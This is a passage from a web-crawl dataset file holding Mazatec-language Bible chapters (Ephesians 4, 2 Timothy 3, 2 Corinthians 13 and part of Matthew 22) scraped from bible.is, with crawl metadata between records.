jngoò kjoa̱ tjín nga ma bautizar xi̱ta̱. 6Ta jngoò ma Nainá nga ngats'iaá Na̱'èn‑ná ma, jè xi otíxoma‑ná nga ngats'iaá, jè xi síxájiìn ini̱ma̱‑ná nga ngats'iaá, ko̱ jè xi tíjnako̱‑ná nga ngats'iaá. 7Ta̱nga kitjoé‑ná kjo̱tjò koni s'ín sasén‑la̱ Cristo mé xá‑la̱ Nainá xi s'e̱én nga jngoò jngoaá. 8Koií ko̱s'ín tíchja̱‑ne Xo̱jo̱n‑la̱ Nainá nga tsò: K'e̱ nga jye kisìkijne nga tífìmijìn‑ne ngajmiì, kiìko̱ preso jñà xi̱ta̱ xi kitsobà'ñó, ko̱ kitsjaà‑la̱ kjo̱tjò jñà xi̱ta̱. 9¿Kó tsòya‑ne jè xi tsò: \"Tífìmijìn‑ne ngajmiì\"? Tsòyaá‑ne nga [jè Cristo] ítjòn itjojen skanda ñánda 'ñó na̱nga̱ i̱jiìn nangui. 10Jè xi itjojen‑t'aà skanda i̱t'aà nangui, ti̱jè‑ne xi tsijin ìjngoò k'a‑ne ñánda nga ìsa̱ 'ñó 'nga tsibìjna koni ngats'iì xi 'nga títsa̱jna mé‑ne nga jè si̱ìjngoò yije‑ne ni̱ta̱ mé xi tjín i̱sò'nde. 11Ti̱koa̱ ti̱jè‑ne xi kitsjaà‑la̱ xá xi̱ta̱‑la̱ mé xá xi s'i̱in nga jngoò ìjngoò. Tjín xi tsibíxáya‑la̱ Jesucristo nga si̱ìka'bísòn 'én ndaà‑la̱; tjín xi jñà ki̱chja̱ ngajo‑la̱; tjín xi 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo béno̱jmíya; tjín xi síkinda̱ na̱xa̱ndá‑la̱ Nainá; ti̱koa̱ tjín xi okóya 'én‑la̱ Nainá. 12K'oa̱á s'ín kitsjaà‑la̱ xá xi̱ta̱‑la̱ nga jngoò ìjngoò mé‑nè nga kàtatsjá‑la̱ kjo̱hítsjeèn xi̱ta̱ na̱xa̱ndá‑la̱ nga ko̱ma si̱ìxá‑la̱ Nainá, nga ìsa̱ tse nga'ñó s'e̱‑la̱ na̱xa̱ndá‑la̱ Cristo. 13K'oa̱á s'ín ko̱ma‑ne nga jngoò kjo̱hítsjeèn s'e̱‑ná ngats'iaá koni s'ín mokjeiín‑ná i̱t'aà ts'e̱ Nainá ko̱ koni s'ín yaxkoaán Ki'ndí‑la̱ mé‑ne nga nguì xi̱ta̱ kixi̱ ko̱maá. Nguì k'oa̱á s'ín ko̱ngásòn‑kjoaá kóho̱tjián koni jè Cristo nga ni̱mé chijat'aà‑la̱. 14Mì ti̱ k'oa̱s'ín s'e̱n‑ná koni s'ín ndí i̱xti nga ni̱to̱n mokjeiín‑la̱ yá xi̱ta̱ xi kona̱cha̱n‑la̱; nga fìjen fìkjáko̱ koni tsà tjo̱ tísískáko̱; nga fìtji̱ngui‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ maña̱ xi 'én ndiso okóya nga kj'ei̱í ndi̱yá tjímaya. 15Tà sa̱á 'én kixi̱‑la̱ Nainá ki̱nókjoa̱á nga matsjachaá xinguia̱á mé‑nè nga ko̱s'ín ìsa̱ ndaà ska̱sòn kjo̱hítsjeèn‑ná koni s'ín tjín kjo̱hítsjeèn‑la̱ Cristo nga jè tíjna xi sko̱‑la̱ na̱xa̱ndá‑la̱ Nainá. 16Nga jè na̱xa̱ndá‑la̱ Nainá, k'oa̱á kji koni jngoò yijo‑la̱ xi̱ta̱. Jè Cristo tíjna xi sko̱‑la̱; ko̱ jè tsjá‑la̱ nga jngoò ìjngoò xá xi oko̱‑la̱; i̱kjoàn síjngoò koni s'ín tjín yijo‑ná nga títéya naxá‑la̱ nindaà‑ná; nga jngoò ìjngoò ska̱ya, katjín katjín xá‑la̱. K'e̱ nga ndaà síxá yije yijo‑ná maje‑né koa̱ ma'nga‑né. K'oa̱á ti̱s'ín tjín jè na̱xa̱ndá‑la̱ Cristo nga ko̱je‑né koa̱ ko̱'nga‑né k'e̱ nga jngoò ìjngoò xi̱ta̱‑la̱ ndaà si̱ìxá nga matsjakeè xíkjín. 17I̱t'aà ts'e̱ kjo̱tíxoma xi tsjá‑na Cristo, k'oa̱á xan‑nò ko̱ bìt'in‑nò nga mì ti̱ k'oa̱s'ín s'e̱n‑nò koni s'ín xi̱ta̱ xi kj'ei̱í xi mìkiì beèxkon Nainá, nga tákó tjímako̱ kjo̱hítsjeèn‑la̱ xi nìmée chjí‑la̱. 18Tà tjíjñò kjo̱hítsjeèn‑la̱. Tsjìn‑la̱ kjoa̱binachon xi i̱t'aà ts'e̱ Nainá nchrobá‑ne; mìkiì beè kó s'ín si̱ìjchá yijo‑la̱ nga jè ini̱ma̱‑la̱ tájaàjiìn tjín; mìkiì tsjá'nde nga fahas'en‑jiìn kjo̱hítsjeèn xi ndaà tsò. 19Mì ti̱ kiì beè‑ne xi kjo̱sobà 'mì, jyeé kòxo̱x'ín. Tà kjoa̱ chijngui 'ñó sís'in‑la̱; kjit'aà na̱chrjein ótsji ngats'iì kjoa̱ ch'o xi tjín i̱sò'nde. 20Ta̱nga jñò, mì k'oa̱á tjín kjoa̱ xi kis'eno̱jmí‑nò i̱t'aà ts'e̱ Cristo. 21Nga jye ndaà kina'yà‑là 'én‑la̱ ko̱ ndaà kichìta'yà kó s'ín tjín xi nguì kjoa̱ kixi̱ i̱t'aà ts'e̱ Jesús. 22K'oa̱á s'ín kis'eno̱jmí‑nò nga chja̱àxiòn kjoa̱ jchínga xi tjín‑nò nga sa̱ kjòtseé koni s'ín kinìjchá yijo‑nò; i̱'ndei̱ jyeé mì ti̱ mé chjí‑la̱ kjoa̱ koi koií kjoa̱‑la̱ nga jñà kjoa̱ ch'o xi kisaseèn‑la̱ yijo‑nò kiskoòna̱cha̱n‑nò. 23Tjí'nde‑là Nainá nga jè kàtasíxi̱tse̱ya ini̱ma̱‑nò ko̱ kjo̱hítsjeèn‑nò. 24Chjoé ìjngoò k'a xi kjoa̱ xi̱tse̱ xi k'oa̱s'ín kisindaà koni kji i̱sén‑la̱ Nainá mé‑ne nga kixi̱ ko̱ tsjeè si̱jchá yijo‑nò koni s'ín tjín xi nguì kjoa̱kixi̱. 25K'oa̱á ma‑ne i̱'ndei̱, kì ti̱ 'én ndiso nokjoà‑nò. 'Én kixi̱ ti̱nókjoa̱ko̱o xinguio̱o nga jngoò ìjngoò nga tà ngásòn xi̱ta̱ xinguia̱á ma kóho̱tjián. 26Tsà k'e̱ nga majti‑nò, kì jé binchaàtsjioò; kì nìjti‑là yijo‑nò kóni nga 'ba na̱chrjein skanda k'e̱ nga o̱katjì ts'oí. 27Kì kiì biì'nde‑là xi̱ta̱ nei̱í nga jè kona̱cha̱n‑nò. 28Jè xi chijé s'ín nga sa̱ ítjòn, kì ti̱ chijé s'ín‑ne i̱'ndei̱; ti̱koa̱á‑ne k'oa̱s'ín kàtasíkjeén tsja nga kixi̱ kàtasíxá mé‑nè nga sa̱kò‑la̱ to̱n xi tsjá i̱tsé‑la̱ xi̱ta̱ i̱ma̱ xi ni̱mé tjín‑la̱. 29Ni̱jngoò 'én xi ch'o tsò nokjoà; jñà 'én ti̱nókjoa̱ko̱o xinguio̱o xi ndaà tsò xi ko̱chjeén‑la̱ xinguio̱o nga ìsa̱ kixi̱ kítsa̱jna mé‑nè nga ko̱chikon‑t'in‑ne jñà xi̱ta̱ xi kji̱'nchré‑nò. 30Kì nìba‑là jè Ini̱ma̱ Tsjeè‑la̱ Nainá, jè xi tsibít'aà chi̱ba̱‑ná mé‑ne nga kàta'ya‑ná nga xi̱ta̱‑la̱ Nainá 'mì‑ná skanda jè na̱chrjein k'e̱ nga si̱ìkítsa̱jnandei̱í‑ná Nainá xi kjoa̱ ts'e̱ jé. 31Chja̱àxiòn yije i̱jiìn ini̱ma̱‑nò jñà kjoa̱ xi ch'o tjín xi kondra̱ ts'e̱ xi̱ta̱ xi kj'ei̱í koni kjoa̱ bínguitakòn, kjoa̱jti, kjoa̱ xi makjan‑nò, kjoa̱ nga chítiko̱o xinguio̱o, ko̱ nga nokjoàjno‑là xinguio̱o, ko̱ ngats'iì kjoa̱ts'e̱n. 32Ndaà chibàko̱o xinguio̱o; kàtas'e‑nò kjo̱hi̱ma̱takòn; ti̱jchàat'aà‑là jé‑la̱ xinguio̱o koni s'ín kisìko̱‑nò Nainá i̱t'aà ts'e̱ Cristo nga kisìjchàat'aà‑nò jé‑nò.\nEfesios 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/4","date":"2013-12-08T12:19:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065409\/warc\/CC-MAIN-20131204131745-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":832,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaji̱ Timoteo, kàtasijiìn‑lè k'e̱ nga tímachrañàt'aà na̱chrjein nga kjoi̱í ìjngoò k'a‑ne Cristo, kjìn sko̱ya kjoa̱ s'e̱ xi mìkiì ndaà tjín. 2Jñà xi̱ta̱ xi s'e̱, tà yijo‑la̱á 'ñó si̱ìs'in‑la̱; to̱ón 'ñó ko̱tsjakeè; yijo‑la̱á 'ñó ndaà si̱ìkítsa̱jna; xi̱ta̱ 'nga ikoón ko̱ma; ki̱chja̱jno‑la̱ Nainá ko̱ xi̱ta̱; mìkiì kiì'nchréñijon‑la̱ xi̱ta̱ jchínga‑la̱; mìkiì tsjá ngajo‑ne kjo̱ndaà, mìkiì skoe̱xkón Nainá, 3mìkiì si̱ìtjòkeè xíkjín, jngoò k'a mìkiì si̱ìje‑la̱ ikon, 'én ndiso tsját'in xíkjín, mìkiì si̱ìkinda̱ yijo‑la̱ mé kjoa̱ xi s'i̱in, xi̱ta̱ ch'o ko̱ma, kondra̱á kjoi̱‑la̱ kjoa̱ xi ndaà tjín, 4kondra̱á kjoi̱‑la̱ amigo‑la̱, mìtsà ítjòn si̱ìkítsjeèn mé kjoa̱ xi s'i̱in, 'ñó 'nga ikon ko̱ma, jè si̱ìtsjakeè kjoa̱ ts'e̱ i̱sò'nde xi sasén‑la̱ yijo‑la̱, mìkiì si̱ìtsjakeè Nainá. 5K'oa̱á s'ín s'i̱in koni tsà beèxkón Nainá, ta̱nga mìkiì tsjá'nde nga jè nga'ñó‑la̱ Nainá si̱ìxájiìn ini̱ma̱‑la̱. Xi̱ta̱ koi kì kiì nìs'in‑la̱. 6Jñà xi̱ta̱ koi, ótsji'nde‑la̱ nga fahas'en ni'ya‑la̱ íchjín xi mìkiì beèxkón yijo‑la̱ ko̱ xi tse jé tjín‑la̱ nga ma kona̱cha̱n‑la̱. Íchjín koi, ya̱á fìtji̱ngui‑la̱ kjoa̱ xi ìsa̱ 'ñó ch'o tjín koni s'ín mejèn‑la̱ yijo‑la̱. 7Kjit'aà na̱chrjein nchikota'yà 'én xi̱tse̱ ta̱nga ni̱jngoò na̱chrjein fahas'en‑jiìn‑la̱ xi nguì kjoa̱kixi̱. 8Jñà xi̱ta̱ koi, k'oa̱á ti̱s'ín binchahikon‑la̱ xi kjoa̱kixi̱, koni kis'iìn xi̱ta̱ chji̱ne̱ xi ma‑la̱ bíndaà xi ki'mì Janes ko̱ Jambres nga chinchahikon‑la̱ Moisés. Xi̱ta̱ koi, jngoò k'aá ch'o tjín kjo̱hítsjeèn‑la̱. Bitjongui‑né nga nguixko̱n Nainá nga mìkiì mokjeiín‑la̱ xi kjoa̱kixi̱. 9Ta̱nga mìkiì si̱ìkijne. Ki̱jchò na̱chrjein nga skoe̱ yije xi̱ta̱ kjoa̱ tòndo̱‑la̱. K'oa̱á s'ín jcha̱t'in‑la̱ koni jè Janes ko̱ Jambres. 10Ta̱nga ji̱ Timoteo k'oa̱á s'ín tì'mìtji̱ngui‑la̱ koni s'ín tsakoòya‑lè, koni s'ín tísíjchá yijo‑na̱, koni s'ín tjín kjo̱hítsjeèn‑na̱ mé kjoa̱ xi tìfitji̱ngui‑la̱. K'oa̱á ti̱s'ín mokjeiín‑lè koni s'ín mokjeiín‑na 'a̱n i̱t'aà ts'e̱ Cristo. K'oa̱á s'ín tjín kjoa̱tsetakòn‑lè ko̱ kjoa̱tjòcha‑lè koni s'ín tjín ts'a̱n. K'oa̱á ti̱s'ín chíkjoa̱ yije‑lè ni̱ta̱ mé kjoa̱‑ne koni 'a̱n. 11Tíjiìn‑lè koni s'ín tìsìkjiaán kjo̱'in i̱t'aà ts'e̱ Cristo ti̱koa̱ ongatji̱ngui‑na xi̱ta̱ kondra̱ koni s'ín komàt'ian ján na̱xa̱ndá Antioquía, Iconio ko̱ Listra. ¡Ta̱xki̱ toòn kijtseè‑na xi̱ta̱ nga tsangatji̱ngui‑na ta̱nga jè Na̱'èn‑ná tsachrjekàjiìn yije‑na kjoa̱ koi! 12Kixi̱í kjoa̱, ngats'iì xi mejèn‑la̱ skoe̱xkón Na̱'èn‑ná Jesucristo, k'oa̱á ti̱s'ín s'e̱‑la̱ kondra̱ nga kji̱tji̱nguikeè xi̱ta̱. 13Ta̱nga jñà xi̱ta̱ xi ch'o s'ín, xi kona̱cha̱n, kjit'aà na̱chrjein, sa̱á 'ñó, sa̱á 'ñó ch'o s'i̱in nga skóna̱cha̱n‑la̱ xi̱ta̱, ta̱nga k'oa̱á ti̱s'ín ko̱mat'in ngajo‑ne nga skóna̱cha̱n‑la̱ xi̱ta̱ xi kj'ei̱í. 14Ta̱nga ngaji̱, ndaà kixi̱ tikoi̱i jñà kjoa̱ xi kichìta'yì xi jye k'oa̱s'ín ndaà kòkjeiín‑lè. Jyeé tíjiìn‑lè yá xi̱ta̱ xi tsakóya‑lè. 15Skanda ti̱k'e̱‑né nga ti̱sa̱ ndí ti titsjoi, kiyaxkoin Xo̱jo̱n Tsjeè‑la̱ Nainá jè xi ko̱ma‑la̱ si̱ìchji̱ne̱‑lè kó s'ín ki̱tjokàjiìn kjo̱'in nga mokjeiín‑lè i̱t'aà ts'e̱ Cristo Jesús. 16Ngats'iì 'én xi tjít'aà Xo̱jo̱n‑la̱ Nainá, kjo̱hítsjeèn ts'e̱é Nainá nga kitjei. K'oa̱á s'ín mochjeén nga okóya‑ná, nga okó‑ná k'e̱ nga ch'o 'nè, nga síkixi̱yandaà‑ná, nga okó‑ná ndi̱yá kixi̱, 17mé‑ne jñá xi xi̱ta̱‑la̱ Nainá 'mì‑ná jngoò k'a ndaà ki̱tsa̱jnandaá nga si̱kitasoán yije kjoa̱ xi ndaà tjín.\n2 Timoteo 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/3","date":"2013-12-11T12:09:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164035500\/warc\/CC-MAIN-20131204133355-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000006079673767}","num_words":451,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ya̱á ma‑ni jàn 'ka̱ nga kijchòjkon‑no 'ndi̱ 'ndi̱. Katafìya‑no koni 'sín tsò xa̱jo̱n‑la̱ Nainá: 'kia̱ nga sindajín jngo kjoa̱, tjínè‑la̱ tsa jò ko̱ tsa jàn xi̱ta̱ tsjá 'én‑la̱ ra xko̱n kijtse‑ni kjoa̱ ra kjomà. 2'Koa̱á 'sín ijye kíxian kixi̱‑no 'kia̱ nga ijchòjkon‑no ra ma‑ni jò 'ka̱, ko̱ 'koa̱á 'sín tíxian india‑no 'ndi̱‑ni̱, ni̱'sín ta kjin tíjna̱‑na; jñà ra ko̱'sín tsakátsji‑jé ko̱ ra i̱nchibátsji-jé‑isa 'ndi̱‑ni̱: Tsa 'kia̱ nga kijchòjkon india‑no mì tsa taxki̱ sijchá'ta‑la̱ kjoa̱ ra tjín‑la̱ nga jngó jngó xi̱ta̱. 3Nga̱ 'koa̱á 'sín mejèn‑najiòn nga jcha̱a a kixi̱í kjoa̱ nga jè Cristo chjà ngajo‑la̱. Tanga jè Cristo mì tsa ta indakjoa̱ 'si̱in ra a̱'ta tsa̱jiòn‑jiòn, ta isa̱á ya̱ kíjnajin‑no jè nga'ñó‑la̱. 4Kixi̱í kjoa̱ jè Cristo 'kia̱ nga isi'ta krò, 'koa̱á 'sín 'ki kjomà koni tsa tsìn‑la̱ nga'ñó; tanga ngi ko̱ó nga'ñó‑la̱ Nainá tíjnakon‑ni 'ndi̱ 'ndi̱. 'Koa̱á ti̱'sín kjòn‑te‑ji̱n koni Cristo, koni tsa tsìn‑te‑naji̱n nga'ñó; tanga ko̱ó nga'ñó‑la̱ Nainá ko̱ma ya̱ ta̱ña ki̱tsa̱jnako̱‑ji̱n Cristo mé‑ni nga ma si̱xá‑naji̱n ra a̱'ta tsa̱jiòn. 5Nda ti̱chi̱yajin‑la̱ inìma̱‑no, ¿a takó ndaá makjiín‑no ra a̱'ta 'tse̱ Cristo? Ti̱jiòn nda chjí'ta‑no ijo‑no, kó'sín titsa̱jna. ¿A kjeé nda machi̱ya‑no nga jè Jesucristo ya̱á tíjnajin ya̱ inìma̱‑no? Kja̱ ta̱jngoó‑la tsa mì kì tsatojion koni 'sín nga itjá'ta. 6'Koa̱á 'sín koñáa̱ ra 'a̱n, nga 'koa̱á 'sín nda katasijngo takòn ra jiòn, ra ngaji̱n, skanda 'ndi̱ tsatojin‑náji̱n koni tjín 'ka̱ ijye itjá'ta‑ji̱n. 7'Koa̱á 'sín i̱nchinakjoá'ta‑la̱ji̱n Nainá mé‑ni nga ni̱jngo kjoa̱ ra 'cho tjín 'sia̱n jiòn; mì tsa tsò‑ni kjoa̱ nga ji̱ín ko̱'sín kata'ya‑naji̱n nga ndaá i̱nchibatojin‑ji̱n kjoa̱; jé‑ni mé‑ni nga ko̱'sín 'tia̱àn jiòn kjoa̱ ra nda tjín, ni̱'sín ko̱'sín katatsíjen‑ji̱n ra ji̱n koni tsa mì kì chíkjoa̱‑naji̱n kjoa̱ ra batojin‑ji̱n. 8Nga̱ mì kì ma ji̱n kó 'kín‑la̱ji̱n xi̱ta̱ ra síhitjasòn kjoa̱kixi̱, ta jé‑la jnchro 'ki̱ nga'ñó isa‑la̱ji̱n. 9'Koa̱á ma‑ni ta isa̱á matsja‑naji̱n 'kia̱ nga inda tjín takòn‑ji̱n, mé‑ni nga isa̱ kata'se‑la̱ nga'ñó inìma̱‑no ra jiòn; ko̱ i̱nchinakjoá'tá-isa‑la̱ji̱n Nainá mé‑ni nga ni̱mé jchi̱ja'ta‑no ra a̱'ta 'tse̱. 10Kií ko̱'sín tje̱n tíbindá‑no xa̱jo̱n ra̱kìi̱, 'kia̱ nga ti̱kjè ya̱ tíjnako̱‑no, mé‑ni nga 'kia̱ nga kijchòo̱, mì tsa bato 'ñó kokó‑no nga sikjée̱n kjo̱téxoma ra ko̱'sín jè Na̱'ín‑ná kitsjà‑na; ko̱ mì tsa ki xá ki'tsì‑na kjo̱téxoma ra̱kìi̱ nga ta isa̱ jiòn sikítsón‑no; kií‑ní mé‑ni nga isa̱ katasakó-isa‑najiòn nga'ñó ra 'tse̱ Nainá. 11Jiòn 'ndsé ko̱ tichjeé, ta nga'tsì kjoa̱ kìi̱, jè ra 'ñó machjeén nga 'ñó tsja kata'se‑la̱ inìma̱‑najiòn. Nga kixi̱ titsa̱jna jiòn ya̱ ngixko̱n Nainá, ti̱jetakòn jiòn xi̱ta̱ xàngio̱o, jngoó kjo̱bítsjen kata'se‑no ta nga'tsì‑no, ko̱ 'nchán ti̱tsa̱jnako̱o xàngio̱o. Jè Nainá ra tjín‑la̱ kjo̱tsjacha ko̱ ra tjín‑la̱ kjo̱'nchán ya̱á kíjnako̱‑no. 12Ngi ko̱ó inìma̱‑no ti̱kjáya‑la xàngio̱o nga jngó jngó‑no. 13Nga'tsì xi̱ta̱‑la̱ Nainá, 'koa̱á 'sín i̱nchisíhixo'ta‑no. 14Nda katijnako̱‑no nga'tsì‑no jè kjo̱nda‑la̱ Jesucristo ra tíjna ítjòn‑ná, ko̱ kjo̱tsjacha‑la̱ Nainá, ko̱ jè Inìma̱ Tsje‑la̱ Nainá ra síkítsa̱jnakjo‑ná. Ko̱'sín katama.\n2 Corintios 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/13","date":"2013-12-06T05:41:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049615\/warc\/CC-MAIN-20131204131729-00012-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":449,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.278,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsikí'tsia̱á india‑ni Jesús nga tsakón‑ya‑la̱ xi̱ta̱ a̱'ta 'tse̱ kjoa̱ ra nda mangásòn‑kjo. Kitsò: 2―Koni 'sín batéxoma jè ra tíjna ngajmi, 'koa̱á 'sín mangásòn koni jngo xi̱ta̱xá ítjòn ra tsikíjna jngo 'sí 'kia̱ nga tsixan jè ti‑la̱. 3Isìkasén jñà chi̱'nda‑la̱ mé‑ni nga kiì kiìchja̱‑la̱ jñà xi̱ta̱ ra xá isíkjí'nchré‑ni nga jè ti‑la̱ ki̱xan. Tanga jñà xi̱ta̱ kìi̱ majìn‑la̱ inchrabà. 4India isìkasén‑isa jñà chi̱'nda‑la̱ ra kj'ií. Kitsò‑la̱: \"Ko̱'tìn‑la jñà xi̱ta̱ ra ijye kií'nchré, jñà tsajmì ra chji̱ne̱é, ijyeé tjínda, ijyeé ísi'kée̱n jñà nchra̱ja̱‑na̱ ko̱ jñà cho̱‑na̱ ra 'ñó xiné. Ijyeé tjínda tsje nga'tsiòo̱. Ko̱'tìn‑la, katanchrabá 'sí ra tíjna‑na.\" 5Tanga jñà xi̱ta̱ kìi̱, mì kì kisìsin. Tjín ra nangi‑la̱ kiì katsíjen‑la̱; ko̱ tjín ra tsajmì‑la̱ kiìkatína. 6Ko̱ tjín i'ka ra itsabá'ñó jñà chi̱'nda‑la̱ xi̱ta̱xá ítjòn nga iskajàn‑ko̱, ko̱ nga isì'ken. 7Jè xi̱ta̱xá ítjòn 'ñó kjojti‑la̱. 'Kia̱á isìkasén chíchàn‑la̱ nga kiì sí'ken ijye nga'tsì jñà xi̱ta̱ 'tse̱n kìi̱ ra ma‑la̱ sí'ken xi̱ta̱, ko̱ jñà chíchàn tsaká‑te jè na̱xi̱ndá‑la̱ xi̱ta̱ kìi̱. 8Jè xi̱ta̱xá ítjòn a̱kjòn 'kia̱á kitsò‑la̱ jñà chi̱'nda‑la̱: \"Ijyeé ko̱'sín nda tjínda nga ki̱xan jè ti‑na̱, tanga jñà xi̱ta̱ ra ijye kií'nchré mì kì bakèn‑la̱ nga jñà kj'i̱í. 9Tangió ya̱ nga tíjngo ya̱ a̱ya ndi̱yá, nga'tsì xi̱ta̱ ra ska̱jiòn, ko̱'tìn‑la nga katanchrabá ya̱ ñánda̱ nga tíbixan jè ti‑na̱.\" 10Jñà chi̱'nda‑la̱ xi̱ta̱xá ítjòn kijì‑ní nga kiì kíxkó xi̱ta̱ ya̱ a̱ya ndi̱yá, 'koa̱á kitsò‑la̱ ni̱'sín ta yá ra iskajin, a xi̱ta̱ nda‑ní o̱ ra jñà xi̱ta̱ ra 'cho 'sín, ko̱ ya̱ ñánda̱ nga ixan xi̱ta̱ 'ñó kjín kjamà jñà xi̱ta̱ ra ijchò. 11'Jè xi̱ta̱xá ítjòn 'jaha'seén ya̱ ni'ya nga iskotsíjen‑la̱ jñà xi̱ta̱ ra ijchò. 'Kia̱á kijtse jngo xi̱ta̱ ra ya̱ tíjnajin ra mì kì kjiya nikje ra machjeén ya̱ ñánda̱ nga bixan xi̱ta̱. 12Kitsò‑la̱: \"Ji̱ ndse, ¿kó'sín ma‑nì nga ma kabitjáha̱'si̱n i̱jndíi̱? Nga̱ mì tsa titsjajnayi nikje ra bakèn‑la̱ ñánda̱ nga bixan xi̱ta̱.\" Tanga jè xi̱ta̱ ra̱kìi̱, mì kì kiìchja̱. 13Jè xi̱ta̱xá ítjòn kitsò‑la̱ jñà xi̱ta̱‑la̱ ra i̱nchisísin‑la̱ ya̱ ímixa̱: \"Tí'tá'ñó ndsa̱ko̱ ko̱ tsja. A̱kjòn ya̱ ti̱kàtje̱n‑jion ya̱ a̱jin jñò ján, ya̱ ñánda̱ nga katakjindáya ko̱ katakjinenè ni̱'ño̱.\" 14Kitsó‑isa Jesús: ―Nga̱ 'ñó kjín ma‑ni ra nakjoá‑la̱, tanga chibaá ma‑ni ra tjahíjin. 15Jñà xi̱ta̱ fariseo kijì‑ní mé‑ni nga tsajo̱óya‑ni kó'sín ki̱tso̱‑la̱ jè Jesús mé‑ni nga ma sa̱kò jngo‑la̱ 'én ra 'cho tsò ra a̱'ta 'tse̱, ko̱ a̱kjòn ma koa̱àngi. 16'Koa̱á 'sín ma‑ni nga isìkasén jñà xi̱ta̱‑la̱ ko̱ jñà xi̱ta̱ 'tse̱ Herodes ya̱ ñánda̱ nga tíjna Jesús nga iskonangi‑la̱, kitsò‑la̱: ―Maestro, 'ya‑náji̱n nga 'én kixi̱í 'bèna̱jmí ko̱ jè ndi̱yá kixi̱‑la̱ Nainá ra bakon‑yi. Ko̱ mì tsa ki nikìndi̱i tsa kótsò‑li jñà xi̱ta̱. Mì kì tsa chjaájin ko̱ mì kì tsa ya̱ chitsíjen‑jní jñà xi̱ta̱. 17Ko̱'tín‑náji̱n. ¿A ndaá tjín nga kíchjítjié tsajmì a̱'ta 'tse̱ César, xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Roma, o̱ ra majìn‑ní? 18Jesús kjòchi̱yaá‑la̱ nga 'choó tjíhijyo inìma̱‑la̱ 'kia̱ nga ko̱'sín i̱nchitsò. 'Kia̱á kitsò‑la̱: ―Jiòn xi̱ta̱ ra jò i̱sén tjín‑no, mé‑ni nga 'a̱n mejèn‑no chìndo̱cha̱‑ná. 19Ta̱kón jngo‑ná to̱n ra machjítjì‑ni tsajmì. 'Kia̱á jngo to̱n denario ki'tsì‑la̱. 20'Kia̱ nga kijtse jè to̱n jè Jesús, iskonangií‑la̱ nga kitsò‑la̱: ―¿Yá 'tse̱ i̱sén ko̱ jè 'í ra tjí'ta? 21Jñà xi̱ta̱ kitsó‑ní: ―'Tse̱é jè César jè ra xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Roma. 'Kia̱á kitsò Jesús: ―'Ti̱‑la César tsa'koa̱, jè ra 'tse̱ César, ko̱ 'ti̱‑la Nainá jè ra 'tse̱ Nainá. 22'Kia̱ nga kií'nchré jñà 'én kìi̱ jñà xi̱ta̱ fariseo ko̱ xi̱ta̱‑la̱ Herodes, tà kjóxkón‑la̱. Kitsjiín Jesús; a̱kjòn kijì‑ni. 23Ti̱jé‑ni ni̱chjin jñà xi̱ta̱ saduceo ijchòtji̱ngií‑la̱ ñánda̱ tíjna Jesús. Jñà xi̱ta̱ kìi̱ mì kì makjiín‑la̱ nga ma faháya‑ila̱ jñà xi̱ta̱ ra ijye 'ken. Iskonangií‑la̱ Jesús, 24kitsò‑la̱: ―Maestro, jè Moisés ki̱í'sín kitsò: \"Tsa jngo xi̱ta̱ 'xi̱n, ti̱'kia̱ ki̱yá ra mì kì 'se̱‑la̱ i̱xti ko̱ chjo̱ón‑la̱, jé 'ndse̱ ndí mi'ken ki̱xan‑ko̱ india‑ni jè chjo̱ón mé‑nì nga kata'se‑la̱ i̱xti jè ra ya̱ ki̱chja̱‑nì a̱'ta 'tse̱ ndí mi'ken.\" 25Ya̱ na̱xi̱ndá‑na̱ji̱n isìhijyoó ito xi̱ta̱ 'xi̱n ra ta̱jngo na̱ ko̱ ta̱jngo na̱'ìn. Jè ra tíjna ítjòn ki'seé‑la̱ chjo̱ón, tanga mì kì ki'se‑la̱ i̱xti. 'Kia̱ nga 'ken, jé 'ndse̱ ra ma‑nì jò tsikijnako̱‑ni jè chjo̱ón‑la̱. 26'Koa̱á ti̱'sín kjomà'tin jè 'ndse̱ ra ma‑nì jò, ko̱ jè ra ma‑nì jàn, skanda ra kjomà‑nì ito, sabà ta 'koa̱á 'sín 'ken. Ni̱jngo ra ki'se‑la̱ i̱xti. 27Ra kjomà‑nì a̱skan‑nioo̱, ti̱'koa̱á 'keén‑te jè chjo̱ón. 28'Kia̱ nga kjoa̱áya india‑ila̱ jñà xi̱ta̱ ra ijye 'ken, [koni 'sín sii̱], ¿ñáa̱ kjòn‑nì ra ko̱ma‑ni 'xi̱n‑la̱ chjo̱ón nga̱ ta tsikitsa̱jnako̱ ijye‑ní nga ito? 29'Kia̱á kitsò‑la̱ Jesús: ―Jiòn, kií maskáya‑no ta nga̱tjì‑la̱ nga mì kì 'ya jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá 